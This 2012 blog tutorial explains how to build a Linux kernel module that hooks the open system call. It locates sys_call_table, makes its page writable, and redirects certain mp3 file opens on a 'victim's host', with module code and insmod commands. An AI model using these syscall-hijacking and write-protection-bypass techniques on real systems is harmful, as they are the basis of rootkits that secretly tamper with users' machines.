Friday, July 13, 2012

Hijacking linux system calls - RootKit

This is me again, but this time i will introduce how to develop a linux kernel module that intercepts linux system calls.

In this example i will sniff all the "open" system calls issued by the running processes on the victim's host checking if he is going to open a TAMER HOSNY's song and acting upon that :).

In order to do this we need to do the following:
  • Alter the system call table to refer to our fake method
  • Bypass the kernel write protection mode
The first step is not an easy task because we have two obstacles, the first of them is that the system call table is not exposed by the system no more, the second is that we don't have permission to edit it.

In order to overcome on the first one we will use the system map to know the address of the system call table.

# cat /boot/System.map-2.6.32-33-generic | grep sys_call_table

Now we have the address but we can't alter the table because its in read only mode, So we need to change its memory page from read only to read write mode using the following code:

int set_addr_rw(long unsigned int _addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(_addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}

Now we can alter the table to point to our fake open system call:

asmlinkage int new_open(const char *pathname, int flags) { 
  // hijacked open
  const char* my_path = "/home/husseincoder/Desktop/amr.mp3";
  int res;

  if(strstr(pathname, ".mp3") != NULL 
&& strstr(pathname, "tamer") != NULL) {  
     printk(KERN_ALERT "OPEN HIJACKED %s\n", pathname);
     memcpy(pathname, my_path, strlen(my_path)+1);
  }
  return (*original_open)(pathname, flags);
}

And altering the sys call table in the init method: 

syscall_table[__NR_open] = new_open;

When unloading the module we need to clean up our mess by changing the sys call table page to read only again by calling this method

int set_addr_ro(long unsigned int _addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(_addr, &level);

    pte->pte = pte->pte &~_PAGE_RW;
}

We can load the module this way: 
# sudo insmod hijack-syscall.ko

Unload it this way:
# sudo rmmod hijack-syscall

Now the time for testing this ;) 


You can download the source code from sourceforge.


See the video demo:





The post is finished and i hope you find it useful.